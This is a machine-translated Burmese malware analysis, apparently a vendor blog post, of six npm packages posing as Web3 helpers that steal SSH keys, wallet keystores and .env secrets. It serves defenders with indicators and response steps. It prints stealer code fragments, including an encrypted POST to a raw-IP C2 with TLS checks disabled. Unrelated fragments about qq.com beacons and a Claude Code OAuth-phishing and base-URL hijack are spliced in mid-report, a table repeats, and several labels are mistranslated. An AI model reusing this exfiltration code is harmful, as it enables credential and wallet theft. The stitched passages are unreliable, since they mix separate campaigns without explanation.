TL; DR
၂၀၂၆ ခုနှစ်၊ မေလ ၆ ရက်နေ့တွင် npm ထုတ်ဝေသူတစ်ဦးတည်းက namikazesarada010206သည် Ethereum၊ Solidity နှင့် DeFi developer ecosystem ကိုပစ်မှတ်ထားသော malicious package ခြောက်ခုကို တွန်းပို့ခဲ့သည်။
အထုပ်များ၊ viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsနှင့် web3-utils-coreလူကြိုက်များသော Web3 tooling အတွက် helper libraries များကဲ့သို့ ဒီဇိုင်းထုတ်ထားသော ယုတ္တိတန်သော အမည်များကို အသုံးပြုခဲ့သည်။
အထုပ်ခြောက်ထုပ်စလုံးမှာ အတူတူပါဝင်ပါတယ် telemetry.js ဖိုင်။ ဖိုင်သည် SHA-256 ပါရှိသော cluster တစ်လျှောက်တွင် byte-identical ဖြစ်သည်-
malware ဟာ install လုပ်တဲ့အချိန်မှာ အလုပ်မလုပ်ပါဘူး။ preinstall or postinstall hook။ ယင်းအစား၊ ၎င်းသည် package ကို တင်သွင်းသည့်အခါ အသက်ဝင်သည် require().
အဲဒီအသေးစိတ်အချက်အလက်က အရေးကြီးပါတယ်။
implant ဟာ developer တစ်ယောက်က package ကိုတကယ်သုံးတဲ့အထိစောင့်ပါတယ်။ ပြီးရင် workstation ဟာ တကယ့် Ethereum / Solidity development environment နဲ့တူမတူစစ်ဆေးပါတယ်။ Alchemy ဒါမှမဟုတ် Infura keys၊ private keys၊ mnemonics၊ deployer keys ဒါမှမဟုတ် local Foundry directory ကိုရှာဖွေပါတယ်။
host ကိုက်ညီပါက stealer သည် SSH private keys များကို စုဆောင်းသည်၊ Foundry / Geth / Brownie wallet keystores များ၊ .env* ဖိုင်များနှင့် sensitive environment variable များ။ ၎င်းသည် hardcoded passphrase ကို အသုံးပြု၍ AES-256-GCM ဖြင့် bundle ကို encrypt လုပ်ပြီး TLS verification ကို disable လုပ်ထားသော raw IPv4 C2 endpoint သို့ exiltrate လုပ်သည်။
Xygeni ရဲ့ Malware Early Warning (MEW) စနစ်က package ခြောက်ခုစလုံးကို အန္တရာယ်ရှိတဲ့ package အဖြစ် အတည်ပြုခဲ့ပါတယ်။ npm registry takedown report bundle ကို ဆိုင်းငံ့ထားပါတယ်။
Cluster: ပက်ကေ့ဂျ်ခြောက်ခု၊ ထုတ်ဝေသူတစ်ဦးတည်း
ထုတ်ဝေသူအကောင့် namikazesarada010206 အတည်မပြုရသေးသော Gmail လိပ်စာနှင့် ချိတ်ဆက်ထားသည် namikazesarada010206@gmail.com.
၂၀၂၆ ခုနှစ်၊ မေလ ၆ ရက်နေ့တွင် တစ်ရက်တာထုတ်ဝေမှုအဖြစ် ကမ်ပိန်းသည် ပေါ်ထွက်လာခဲ့သည်။ ပက်ကေ့ဂျ်ခြောက်ခုလုံးကို ဗားရှင်းအဖြစ် သတ်မှတ်ထားသည် 1.0.0တွင် runtime dependencies လုံးဝမပါဝင်ဘဲ ဖိုင်သုံးခုသာ ပို့ဆောင်ပေးပါသည်။
package.json index.js telemetry.js သူတို့က တူညီတဲ့ source repository ကိုလည်း ကြေငြာခဲ့ပါတယ်။
https://github.com/harunosakura030303-maker/evmchain-config ပထမဆုံးထုတ်ဝေမှုမှာ MEW စကင်နာတွေက ပထမဆုံး package သုံးခုကို ဖမ်းယူခဲ့ပါတယ်။ ကျန်သုံးခုကိုတော့ publisher ရဲ့ npm profile ကို analyst ပြန်လည်သုံးသပ်ပြီးနောက် force-flag လုပ်ခဲ့ပါတယ်။ byte-identical တူညီတာနဲ့ telemetry.js အစုအဝေးတစ်လျှောက်တွင် အတည်ပြုခဲ့သော်လည်း၊ ၎င်းတို့ကို တသမတ်တည်းရှိမှုဖြင့် အန္တရာယ်ရှိသောအဖြစ် ပိတ်သိမ်းခဲ့သည်။
| အထုပ် | ဗားရှင်း | npm ထုတ်ဝေပြီး | MEW လက်မှတ် | ဆုံးဖြတ်ချက် |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | malicious |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | malicious |
| hardhat-core-utils များ | 1.0.0 | 2026-05-06 | #51051 | malicious |
| evm-utils များ | 1.0.0 | 2026-05-06 | #51069 | ကြံဖန်သောအားဖြင့် တသမတ်တည်း၊ |
| သတ္တုတွင်းသုံးပစ္စည်းများ | 1.0.0 | 2026-05-06 | #51071 | ကြံဖန်သောအားဖြင့် တသမတ်တည်း၊ |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | ကြံဖန်သောအားဖြင့် တသမတ်တည်း၊ |
အမည်ပေးနည်းဗျူဟာက ရိုးရှင်းပေမယ့် ထိရောက်မှုရှိပါတယ်။
ဤ package များသည် တိကျသော upstream အမည်များကို အယောင်ဆောင်ခြင်း မပြုလုပ်ပါ။ ယင်းအစား၊ ၎င်းတို့သည် ဖြစ်နိုင်ခြေရှိသော “အသုံးဝင်မှု” နောက်ဆက်များကို အသုံးပြုသည်- ဥပမာ- -core, -utilsနှင့် -utils-coreဒါကြောင့် သူတို့ကို developer တစ်ယောက်က Web3 tooling အနီးမှာ မြင်တွေ့ရမယ်လို့ မျှော်လင့်နိုင်တဲ့ companion libraries တွေလို ထင်ရစေပါတယ်။
| အန္တရာယ်ရှိသော ပက်ကေ့ဂျ် | တရားဝင်ပစ်မှတ် |
|---|---|
| viem-core | viem၊ လူကြိုက်များသော Ethereum TypeScript client တစ်ခု |
| viem-utils-core | ဗီယမ် |
| hardhat-core-utils များ | hardhat၊ အဓိက Solidity ဖွံ့ဖြိုးတိုးတက်ရေးပတ်ဝန်းကျင် |
| evm-utils များ | ယေဘုယျ EVM ကိရိယာ အမည်နေရာ |
| သတ္တုတွင်းသုံးပစ္စည်းများ | foundry၊ Solidity toolchain တစ်ခု |
| web3-utils-core | web3-utils၊ Web3.js အကူအညီပေးသူများ |
ဒါက “ဖြည့်စွက်ပက်ကေ့ချ်” ပုံစံပါ- “ကျွန်တော်က တကယ့်ပက်ကေ့ချ်ပါ” မဟုတ်ဘဲ “တကယ့်ပက်ကေ့ချ်မှာ ကျွန်တော်က ကျိုးကြောင်းဆီလျော်တဲ့ အကူအညီပေးသူတစ်ယောက်လို ထင်ရတယ်”။
DeFi developer များအတွက် အလျင်အမြန်ရွေ့လျားနေခြင်းသည် အန္တရာယ်ဖန်တီးရန် လုံလောက်ပါသည်။
ပက်ကေ့ချ်တင်သွင်းတဲ့အခါ ဘာတွေဖြစ်မလဲ
တိုက်ခိုက်မှုကွင်းဆက်သည် သေးငယ်ပြီး ရည်ရွယ်ချက်ရှိရှိလုပ်ဆောင်ကာ crypto-development ပတ်ဝန်းကျင်များကို အာရုံစိုက်သည်။
တပ်ဆင်ရန် ချိတ် မပါရှိပါ။ ယင်းအစား၊ ပက်ကေ့ချ်တစ်ခုစီတွင် တစ်ခု ပါဝင်သည်။ index.js ၎င်းသည် stub လုပ်ဆောင်ချက်ကို တင်ပို့ပြီးနောက် malicious telemetry module ကို load လုပ်သည်။
require('./telemetry').init(); ဆိုလိုသည်မှာ malware သည် ပထမဆုံးအကြိမ်တင်သွင်းချိန်တွင် အသက်ဝင်သည်။
၎င်းသည် တိုက်ခိုက်သူအတွက် လုပ်ငန်းလည်ပတ်မှုအရ အသုံးဝင်ပါသည်။ စကင်နာများနှင့် sandbox အများစုသည် install-time အပြုအမူကို အာရုံစိုက်သည်။ ဤ package သည် developer၊ build script၊ test suite သို့မဟုတ် runtime path မှ အမှန်တကယ်အသုံးပြုသည်အထိ စောင့်ဆိုင်းသည်။
Activation Gate: Web3 Developer Workstation အစစ်အမှန်များတွင်သာ မီးထွန်းပါ
implant ရဲ့ အရေးကြီးဆုံးအပိုင်းက activation gate ပါ။
malware သည် Ethereum / Solidity developer စက်များတွင် အဖြစ်များသော ပတ်ဝန်းကျင် variable များကို စစ်ဆေးသည်-
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); ၎င်းသည် Foundry ကို ထည့်သွင်းထားပုံရမပေါ်ကိုလည်း စစ်ဆေးသည်-
fs.existsSync(path.join(os.homedir(), '.foundry')) အခြေအနေနှစ်ခုလုံး မမှန်ဘူးဆိုရင် function က return ပြန်ပြီး ဘာမှမလုပ်ပါဘူး။
ဒါကြောင့် generic analysis environments တွေမှာ package က ပိုတိတ်ဆိတ်သွားပါတယ်။ Foundry၊ Alchemy keys၊ Infura keys၊ private keys ဒါမှမဟုတ် mnemonics တွေမပါတဲ့ sandbox တစ်ခုဟာ အန္တရာယ်မရှိတဲ့ import တစ်ခုလို့ မြင်နိုင်ပါတယ်။
ကိုက်ညီသော host တွင် malware သည် စုဆောင်းမှုမပြုမီ စက္ကန့် ၆၀ မှ ၉၀ အထိ စောင့်သည်-
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); နှောင့်နှေးမှုသည် တင်သွင်းခြင်းနှင့် စစ်ထုတ်ခြင်းအကြား ထင်ရှားသော ဆက်စပ်မှုကို လျော့နည်းစေသည်။ .unref() package ကို ရေတို script ထဲမှာ import လုပ်ထားရင် call က host process ကို ပုံမှန်အတိုင်း ထွက်ခွင့်ပြုပါတယ်။
ဒါက ဆူညံတဲ့ smash-and-grab အပြုအမူ မဟုတ်ပါဘူး။ developer environment က ခိုးယူသင့်တာမဟုတ်ရင် လည်ပတ်မှုကို ရှောင်ရှားဖို့ ဒီဇိုင်းထုတ်ထားတဲ့ targeted stealer တစ်ခုပါ။
ခိုးသူစုဆောင်းသောအရာ
activation gate ကျော်လွန်သွားသည်နှင့် malware သည် Web3 ဖွံ့ဖြိုးတိုးတက်မှုတွင် အရေးအကြီးဆုံး အရင်းအမြစ်များမှ စုဆောင်းသည်- private keys၊ wallet keystores၊ deployment credentials၊ cloud secrets၊ npm tokens နှင့် local project configuration။
| အရင်းအမြစ် | ဘာတွေစုဆောင်းထားလဲ |
|---|---|
| process.env | /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i နှင့် ကိုက်ညီသော မည်သည့် variable မဆို |
| ~/.ssh/* | ဖိုင်အကြောင်းအရာအပြည့်အစုံအပါအဝင် PRIVATE KEY သို့မဟုတ် BEGIN OPENSSH ပါရှိသောဖိုင်များ |
| ~/.foundry/keystores/* | Foundry ပိုက်ဆံအိတ် keystore ဖိုင်များ |
| ~/.ethereum/keystore/* | Geth ပိုက်ဆံအိတ် keystore ဖိုင်များ |
| ~/.brownie/အကောင့်များ/* | Brownie ပိုက်ဆံအိတ် keystore ဖိုင်များ |
| ${cwd}/.env | ဖိုင်အကြောင်းအရာအပြည့်အစုံ |
| ${cwd}/.env.local | ဖိုင်အကြောင်းအရာအပြည့်အစုံ |
| ${cwd}/.env.production | ဖိုင်အကြောင်းအရာအပြည့်အစုံ |
| ${cwd}/.env.ဖွံ့ဖြိုးတိုးတက်မှု | ဖိုင်အကြောင်းအရာအပြည့်အစုံ |
| os.hostname() | host မက်တာဒေတာ |
| crypto.randomUUID() | သားကောင်/အစည်းအဝေးသတ်မှတ်သူ |
| ရက်စွဲ.ယခု() | စုဆောင်းမှု အချိန်တံဆိပ် |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com ATTA တိုကင်များမှာ-
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 telemetry သည် အော်ပရေတာ၏ကိုယ်ပိုင် analytics လား သို့မဟုတ် သီးခြားငွေရှာသည့် channel လားဆိုသည်ကို ကျွန်ုပ်တို့ အတည်မပြုနိုင်ပါ။ ကျွန်ုပ်တို့စစ်ဆေးခဲ့သော နမူနာနှစ်ခုလုံးတွင် ATTA တိုကင်များသည် အတူတူပင်ဖြစ်သည်။
Cluster B: heibai
claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Hijack လုပ်ခြင်း
ဧပြီလ ၁ ရက်နေ့ နမူနာသည် စည်းရုံးလှုံ့ဆော်ရေး၏ ပိုမိုကြမ်းတမ်းပြီး အစောပိုင်း လက်တံဖြစ်သည်။
heibai:2.1.88-claude.hk-4 ထုတ်ဝေခဲ့သည် wuguoqiangvip28၂၀၂၅ ခုနှစ်၊ ဇွန်လ ၇ ရက်နေ့တွင် ဖန်တီးထားသော အကောင့်တစ်ခုဖြစ်သည်။ ပက်ကေ့ချ်သည် တရားဝင်ဗားရှင်းကို ဆန့်ကျင်၍ ရှင်းလင်းစွာ ဖော်ပြထားသည် 2.1.88 လူသားများထံမှ လွတ်မြောက်ခြင်း။
CA-cert MITM နဲ့ အဆင်မပြေပါဘူး။ အဲဒီအစား OAuth endpoint အကြောင်း အသုံးပြုသူကို လိမ်ညာနေတာပါ။
ပေါက်ကြားလာတဲ့ Claude Code source ရဲ့ အပြင်အဆင်မှာ အန္တရာယ်ရှိတဲ့ add-on တွေ ပါဝင်တာကတော့ -
| အရင်းအမြစ် | ဘာတွေစုဆောင်းထားလဲ |
|---|---|
| process.env | /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i နှင့် ကိုက်ညီသော မည်သည့် variable မဆို |
| ~/.ssh/* | ဖိုင်အကြောင်းအရာအပြည့်အစုံအပါအဝင် PRIVATE KEY သို့မဟုတ် BEGIN OPENSSH ပါရှိသောဖိုင်များ |
| ~/.foundry/keystores/* | Foundry ပိုက်ဆံအိတ် keystore ဖိုင်များ |
| ~/.ethereum/keystore/* | Geth ပိုက်ဆံအိတ် keystore ဖိုင်များ |
| ~/.brownie/အကောင့်များ/* | Brownie ပိုက်ဆံအိတ် keystore ဖိုင်များ |
| ${cwd}/.env | ဖိုင်အကြောင်းအရာအပြည့်အစုံ |
| ${cwd}/.env.local | ဖိုင်အကြောင်းအရာအပြည့်အစုံ |
| ${cwd}/.env.production | ဖိုင်အကြောင်းအရာအပြည့်အစုံ |
| ${cwd}/.env.ဖွံ့ဖြိုးတိုးတက်မှု | ဖိုင်အကြောင်းအရာအပြည့်အစုံ |
| os.hostname() | host မက်တာဒေတာ |
| crypto.randomUUID() | သားကောင်/အစည်းအဝေးသတ်မှတ်သူ |
| ရက်စွဲ.ယခု() | စုဆောင်းမှု အချိန်တံဆိပ် |
ပစ်မှတ်စာရင်းသည် အလွန်တိကျသည်။ ၎င်းသည် ယေဘုယျ browser ခိုးယူမှု သို့မဟုတ် ကျယ်ပြန့်သော credential scraping မဟုတ်ပါ။ ၎င်းသည် Ethereum application များကို တည်ဆောက်ခြင်း၊ စမ်းသပ်ခြင်း၊ ဖြန့်ကျက်ခြင်း သို့မဟုတ် လည်ပတ်ခြင်းပြုလုပ်သော developer များအတွက် ရည်ရွယ်ပါသည်။
Foundry၊ Geth နှင့် Brownie keystore များ ပါဝင်ခြင်းသည် အထူးအရေးကြီးပါသည်။ ဤဖိုင်များသည် wallets သို့မဟုတ် deployment identity များသို့ တိုက်ရိုက်ဝင်ရောက်ခွင့်ကို ကိုယ်စားပြုနိုင်သည်။ တိုက်ခိုက်သူသည် ၎င်းတို့ကို password များ၊ mnemonics သို့မဟုတ် environment secrets များနှင့် တွဲနိုင်ပါက ရန်ပုံငွေများ ရွှေ့ပြောင်းနိုင်ခြင်း၊ deployers များအဖြစ် အယောင်ဆောင်နိုင်ခြင်း သို့မဟုတ် smart contract operations များကို ထိခိုက်စေနိုင်ခြင်း ရှိနိုင်ပါသည်။
စစ်ထုတ်ခြင်းမပြုမီ ကုဒ်ဝှက်ခြင်း
malware သည် စုဆောင်းထားသောဒေတာကို ပေးပို့ခြင်းမပြုမီ encrypt လုပ်သည်။
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); hardcoded passphrase ကတော့ အောက်ပါအတိုင်းပါ။
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d နောက်ဆုံး payload ကို JSON အဖြစ်ထုပ်ပိုးထားသည်-
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} ကုဒ်ဝှက်ခြင်းသည် malware ကို ၎င်းကိုယ်တိုင် ပိုမိုအဆင့်မြင့်စေသည်မဟုတ်ပါ။ သို့သော် ၎င်းသည် ကွန်ရက်စစ်ဆေးခြင်းကို ပိုမိုခက်ခဲစေသည်။ egress ကို စောင့်ကြည့်နေသော defender သည် JSON payload ကို မြင်ရမည်ဖြစ်သော်လည်း ခိုးယူခံရသော key များ၊ wallet ဖိုင်များ သို့မဟုတ် .env hardcoded passphrase နှင့် decryption logic မပါဝင်သော အကြောင်းအရာများ။
Raw IPv4 C2 သို့ စစ်ထုတ်ခြင်း
စစ်ထုတ်ခြင်းလမ်းကြောင်းကို hardcoded လုပ်ထားသည်-
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); malware သည် ဒေတာများကို အောက်ပါနေရာသို့ ပေးပို့သည်-
https://76.13.37.80:8443/api/v1/telemetry အသေးစိတ်အချက်အလက်နှစ်ခု ထင်ရှားသည်။
ပထမဦးစွာ၊ C2 သည် domain မဟုတ်ဘဲ raw IPv4 address တစ်ခုဖြစ်သည်။ ၎င်းသည် domain မှတ်ပုံတင်ရန် မလိုအပ်တော့ဘဲ domain-based detection အချို့ကို ရှောင်ရှားပေးသည်။
ဒုတိယအချက်အနေနဲ့ TLS အတည်ပြုချက်ကို အောက်ပါအခြေအနေမှာ ပိတ်ထားပါတယ်-
rejectUnauthorized: false ၎င်းက malware ကို self-signed certificates များအပါအဝင် မည်သည့် certificate ကိုမဆို လက်ခံနိုင်စေပါသည်။ တစ်နည်းအားဖြင့် တိုက်ခိုက်သူသည် တရားဝင် public certificate မလိုအပ်ဘဲ encrypted transport ကို ရရှိသည်။
retry logic နဲ့ fallback host မရှိပါဘူး။ error တွေကို တိတ်တဆိတ် မျိုချပါတယ်။ C2 အော့ဖ်လိုင်းဖြစ်နေရင် ဒါမှမဟုတ် ဆက်သွယ်လို့မရရင် package ကို တိတ်ဆိတ်နေစေပါတယ်။
ဘာကြောင့် ဒီကမ်ပိန်းက အရေးကြီးတာလဲ။
developer များကို ရည်ရွယ်သည့် အန္တရာယ်ရှိသော npm package အများစုသည် ကျယ်ပြန့်သော အထောက်အထားများကို လိုက်လံရှာဖွေကြသည်- npm tokens၊ AWS keys၊ GitHub tokens သို့မဟုတ် .npmrc ဖိုင်များကို။
ဒီလှုပ်ရှားမှုက ပစ်မှတ်ကို ကျဉ်းမြောင်းစေပါတယ်။
၎င်းသည် စက်သည် Ethereum သို့မဟုတ် Solidity developer ပိုင်ဖြစ်ကြောင်း လက္ခဏာများကို ရှာဖွေသည်။ ထို့နောက် ထိုပတ်ဝန်းကျင်ရှိ အရေးကြီးသော asset များကို အတိအကျ ဆွဲယူသည်- wallet keystores၊ private keys၊ mnemonics၊ deployer keys၊ .env ဖိုင်များနှင့် SSH သော့များ။
ဒါကြောင့် Web3 အဖွဲ့တွေအတွက် generic npm stealer ထက် campaign ဟာ ပိုအန္တရာယ်များပါတယ်။
အောင်မြင်သောကူးစက်မှုတစ်ခုသည် အောက်ပါတို့ကို ဖြစ်ပေါ်စေနိုင်သည်-
- ဖြန့်ကျက်မှုပိုက်ဆံအိတ်များ
- စမတ်စာချုပ် အက်ဒမင်သော့များ
- RPC ပံ့ပိုးပေးသူ သော့များ
- Cloud ဖြန့်ကျက်မှု အထောက်အထားများ
- npm ထုတ်ဝေမှု တိုကင်များ
- ဆော့ဖ်ဝဲရေးသားသူ သို့မဟုတ် အခြေခံအဆောက်အအုံတည်ဆောက်ရန် SSH ဝင်ရောက်ခွင့်
- ပရောဂျက်လျှို့ဝှက်ချက်များကို သိမ်းဆည်းထားသည်
.envဖိုင်တွေ - Foundry၊ Geth သို့မဟုတ် Brownie အတွက် Wallet keystore များ
package အမည်များတွင်လည်း လူမှုရေးအင်ဂျင်နီယာကို ရှင်းရှင်းလင်းလင်း ပြသထားသည်။ ၎င်းတို့သည် Web3 developer ecosystem ကို ရင်းနှီးသော tool အမည်များမှတစ်ဆင့် ပစ်မှတ်ထားပါသည်- viem, hardhat, foundry, evmနှင့် web3.
သရုပ်ဆောင်ဟာ တကယ့်ပရောဂျက်တွေကို ညှိနှိုင်းဖို့ မလိုအပ်ပါဘူး။ သူတို့မှာ ကျိုးကြောင်းဆီလျော်တဲ့ companion package တစ်ခုလို့ထင်ရတဲ့အရာကို install လုပ်ပေးမယ့် developer တစ်ယောက်တည်းကိုပဲ လိုအပ်ပါတယ်။
ချိုးဖောက်မှုနှင့် ထောက်လှမ်းမှု၏ ညွှန်ပြချက်များ
| ပက်ကေ့ဂျ်များနှင့် ထုတ်ဝေသူ | |
|---|---|
| လယ်ယာ | အဘိုး |
| npm ထုတ်ဝေသူ | namikazesarada010206 |
| ထုတ်ဝေသူ အီးမေးလ် | namikazesarada010206@gmail.com |
| အီးမေးလ်ကို အတည်ပြုပြီးပါပြီ။ | အဘယ်သူမျှမ |
| SCM မှန်ကန်ကြောင်းအတည်ပြု | အဘယ်သူမျှမ |
| ဂုဏ်သတင်းရမှတ် | 1.0 |
| packages | viem-core၊ viem-utils-core၊ hardhat-core-utils၊ evm-utils၊ foundry-utils၊ web3-utils-core |
| ဗားရှင်း | အားလုံး 1.0.0 |
| အရင်းအမြစ်သိုလှောင်ရုံ | https://github.com/harunosakura030303-maker/evmchain-config |
| ရည်ရွယ်ချက်ရှိရှိ လုပ်ဆောင်ကြောင်း အတည်ပြုပြီး | အထုပ်ခြောက်ထုပ်စလုံး |
| Network | |
|---|---|
| ပုံစံ | အဘိုး |
| C2 အဆုံးမှတ် | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| C2 ပေါက် | 8443/tcp |
| TLS အပြုအမူ | ငြင်းပယ်ခွင့်မရှိ: မှားယွင်းသည် |
| Payload ပုံစံ | {"v":၂,"iv": ,"d": "t": } |
| ဖိုင်များနှင့် Hash များ | |
|---|---|
| ပုံစံ | အဘိုး |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| ပက်ကေ့ဂျ် အပြင်အဆင် | package.json၊ index.js၊ telemetry.js |
| ဖိုင်အရေအတွက် | 3 |
| ခန့်မှန်းခြေ စုစုပေါင်း အရွယ်အစား | 3.4 KB |
အသက်ဝင်မှု အချက်ပြမှုများ
malware သည် အောက်ပါပတ်ဝန်းကျင် variable များကို စစ်ဆေးသည်-
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY ၎င်းသည် အောက်ပါတို့ကိုလည်း စစ်ဆေးပေးသည်-
~/.foundry/ ပစ်မှတ်ထားသော Host Paths များ
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development စုစည်းမှု ပုံမှန်
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i ထောက်လှမ်းမှတ်စုများ
အပြုအမူဆိုင်ရာ ခွဲခြမ်းစိတ်ဖြာမှု အပြည့်အစုံ မလိုအပ်ဘဲ ဤကမ်ပိန်းကို စည်းမျဉ်းအချို့က ဖမ်းယူထားသည်။
ပထမဦးစွာ၊ အန္တရာယ်ရှိသော package အမည်ခြောက်ခုအတွက် lockfiles များကို scan ဖတ်ပါ။
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core မည်သည့်ပွဲစဉ်တွင်မဆို package-lock.json, yarn.lock, pnpm-lock.yamlဒါမှမဟုတ် node_modules သမိုင်းကို ပြင်းထန်သောဖြစ်ရပ်တစ်ခုအဖြစ် သဘောထားသင့်သည်။
ဒုတိယအချက်အနေနဲ့ wallet keystore path တွေကို ဖတ်နေတဲ့ Node.js လုပ်ငန်းစဉ်တွေကို စောင့်ကြည့်ပါ။
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ ၎င်းသည် helper dependency အဖြစ် import လုပ်ထားသော package အတွက် တရားဝင်အပြုအမူဖြစ်ခဲသည်။ outbound network activity လိုက်ပါလာသောအခါတွင် အထူးသဖြင့် သံသယဖြစ်ဖွယ်ကောင်းသည်။
တတိယအချက်အနေနဲ့ HTTPS ချိတ်ဆက်မှုတွေကို ပိတ်ဆို့ပါ ဒါမှမဟုတ် သတိပေးပါ-
76.13.37.80:8443 အထူးသဖြင့် တောင်းဆိုမှုလမ်းကြောင်းသည် အောက်ပါအတိုင်းဖြစ်ပါက-
/api/v1/telemetry စတုတ္ထအချက်အနေနဲ့ ဒီလက္ခဏာတွေကို ပေါင်းစပ်ထားတဲ့ npm package တွေကို ရှာဖွေပါ။
- ထုတ်ဝေသူအသစ် သို့မဟုတ် ဂုဏ်သတင်းနိမ့်
- အတည်မပြုရသေးသော Gmail အကောင့်
- Web3 နှင့် ကပ်လျက် ပက်ကေ့ဂျ်အမည်
- အဓိပ္ပါယ်ရှိသော သိုလှောင်ရုံမှတ်တမ်းမရှိပါ
- သေးငယ်သော အထုပ်အပြင်အဆင်
index.jstelemetry သို့မဟုတ် helper file ကို load လုပ်သည်- runtime dependency မရှိပါ
- အာရုံခံနိုင်သောပတ်ဝန်းကျင်-ပြောင်းလဲမှုစုစည်းမှု
- ပိုက်ဆံအိတ် keystore ဝင်ရောက်ခွင့်
ဒီပုံစံက IOC တစ်ခုတည်းထက် ပိုအသုံးဝင်ပါတယ်၊ ဘာလို့လဲဆိုတော့ နောက် package က IP address ကို ပြောင်းလဲနိုင်ပေမယ့် targeting logic ကတော့ အတူတူပါပဲ။
ညှိနှိုင်းမှုတုံ့ပြန်မှုစစ်ဆေးရမည့်စာရင်း
developer တစ်ယောက်က package ခြောက်ခုထဲက တစ်ခုကိုသုံးပြီး သူတို့ရဲ့ environment က activation gate နဲ့ ကိုက်ညီရင် workstation ကို compromised အဖြစ် သတ်မှတ်ပါ။
၎င်းတွင် Foundry ထည့်သွင်းထားသော စက်များ၊ ပတ်ဝန်းကျင်ရှိ Alchemy သို့မဟုတ် Infura သော့များ၊ private key များ၊ mnemonics သို့မဟုတ် deployer သော့များ ပါဝင်သည်။
အကြံပြုထားသော တုံ့ပြန်မှု-
- host ကို network မှ ဖြုတ်လိုက်ပါ။
- ထိနျးသိမျး
node_modules၊ lockfiles များ၊ shell history နှင့် forensics အတွက် သက်ဆိုင်ရာ logs များ။ - SSH keypair တစ်ခုချင်းစီကို အောက်တွင်လှည့်ပါ
~/.ssh/. - အောက်က keystore တိုင်းအတွက် wallet keys တွေကို လှည့်ပါ
~/.foundry,~/.ethereumနှင့်~/.brownie. - ရန်ပုံငွေများကို ပိုက်ဆံအိတ်အသစ်များသို့ ရွှေ့ပြောင်းပါ။
- သိမ်းဆည်းထားတဲ့ လျှို့ဝှက်ချက်တိုင်းကို လှည့်ပတ်ကြည့်ရှုပါ
.env*developer အလုပ်လုပ်ခဲ့တဲ့ repositories တွေထဲက ဖိုင်တွေ။ - AWS key များ၊ npm token များ၊ deploy token များ၊ API key များ၊ private key များ၊ seeds များနှင့် mnemonics များ အပါအဝင် collection regex နှင့် ကိုက်ညီသော environment secret များကို လှည့်ပါ။
- package ကို ပထမဆုံး install လုပ်ချိန်မှစ၍ cloud၊ npm၊ GitHub၊ RPC provider နှင့် blockchain လုပ်ဆောင်ချက်များကို audit လုပ်ခြင်း။
- ပြန်လည်အသုံးမပြုမီ workstation ကို ပြန်လည် image လုပ်ပါ။
ကာကွယ်သူများ ယူဆောင်သင့်သည်များ
ဒီ campaign က npm typosquatting ဟာ တန်ဖိုးမြင့် developer ဂေဟစနစ်တွေမှာ ဘယ်လိုပြောင်းလဲနေလဲဆိုတာကို ပြသပါတယ်။
သရုပ်ဆောင်က ဇွဲလုံ့လ မလိုအပ်ပါဘူး။ သူတို့ ရှုပ်ထွေးအောင် လုပ်စရာမလိုပါဘူး။ install-time execution တောင် မလိုအပ်ပါဘူး။
ယင်းအစား၊ ၎င်းတို့သည် အရာသုံးခုကို အားကိုးခဲ့ကြသည်-
- ဖြစ်နိုင်ခြေရှိသော Web3 ပက်ကေ့ဂျ်အမည်များ
- တကယ့် crypto-development စက်တွေမှာသာ activation လုပ်ပါ
- Ethereum developer များအတွက် အရေးကြီးဆုံးဖိုင်များနှင့် လျှို့ဝှက်ချက်များကို တိုက်ရိုက်ခိုးယူခြင်း
ဒါကြောင့် ကျယ်ပြန့်တဲ့ စကင်ဖတ်စစ်ဆေးမှုမှာ လှုပ်ရှားမှုကို အလွယ်တကူ လွတ်သွားစေပြီး သင့်တော်တဲ့ပတ်ဝန်းကျင်မှာ ရောက်သွားတဲ့အခါ အန္တရာယ်များပါတယ်။
Web3 အဖွဲ့များအတွက် သင်ခန်းစာမှာ ရှင်းပါသည်- dependency name များကို သင်၏ threat model ၏ အစိတ်အပိုင်းတစ်ခုအဖြစ် သဘောထားပါ။ အန္တရာယ်ကင်းသော helper ကဲ့သို့ ထင်ရသော package သည် wallet compromise လုပ်ရန် အတိုဆုံးလမ်းကြောင်း ဖြစ်လာနိုင်သည်။
npm registry သို့ အစီရင်ခံပြီးပါပြီ။ publisher အကောင့်နှင့် package များကို ဖယ်ရှားလိုက်သောအခါ ဤပို့စ်ကို အပ်ဒိတ်လုပ်ပါမည်။




